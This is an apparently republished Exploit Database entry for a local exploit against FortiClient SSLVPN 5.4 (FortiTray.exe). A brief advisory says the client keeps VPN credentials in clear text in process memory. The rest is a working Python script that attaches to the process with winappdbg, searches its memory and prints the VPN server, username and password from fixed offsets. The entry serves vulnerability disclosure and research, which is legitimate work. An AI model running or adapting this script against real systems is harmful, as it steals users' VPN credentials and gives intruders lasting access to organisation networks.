FortiClient SSLVPN 5.4 – Credentials Disclosure

• Exploit Database
• 14 阅读

• 作者： Viktor Minin
  日期： 2016-09-01
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40330/

• '''
  Title : Extracting clear text passwords from running processes(FortiClient)
  CVE-ID: none
  Product: FortiClient SSLVPN
  Service : FortiTray.exe
  Affected: <=5.4
  Impact: Critical
  Remote: No
  Website link : http://forticlient.com/
  Reported : 31/08/2016
  Authors: Viktor Minin https://1-33-7.com
  Alexander Korznikovhttp://korznikov.com
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  In our research which involved this program we found that this process store the credentials that you supplied for connecting, in clear text in the process memory.
  In this situation a potential attacker who hacked your system can reveal your Username and Password steal and use them.
  This may assist him in gaining persistence access to your Organization LAN network.
  '''
  
  from winappdbg import Debug, Process, HexDump
  import sys
  
  filename = "FortiTray.exe"# Process name
  search_string = "fortissl"# pattern to get offset when the credentials stored
  
  # Searching function
  def memory_search( pid, strings ):
  process = Process( pid )
  mem_dump = []
  ######
  # You could also use process.search_regexp to use regular expressions,
  # or process.search_text for Unicode strings,
  # or process.search_hexa for raw bytes represented in hex.
  ######
  for address in process.search_bytes( strings ):
  dump = process.read(address-10,800) #Dump 810 bytes from process memory
  mem_dump.append(dump)
  for i in mem_dump:
  if "FortiClient SSLVPN offline" in i: #print all founds results by offsets to the screen.
  print "\n"
  print " [+] Address and port to connect: " + str(i[136:180])
  print " [+] UserName: " + str(i[677:685])
  print " [+] Password: " + str(i[705:715])
  print "\n"
  
  debug = Debug()
  try:
  # Lookup the currently running processes.
  debug.system.scan_processes()
  # Look for all processes that match the requested filename...
  for ( process, name ) in debug.system.find_processes_by_filename( filename ):
  pid = process.get_pid()
  memory_search(pid,search_string)
  finally:
  debug.stop()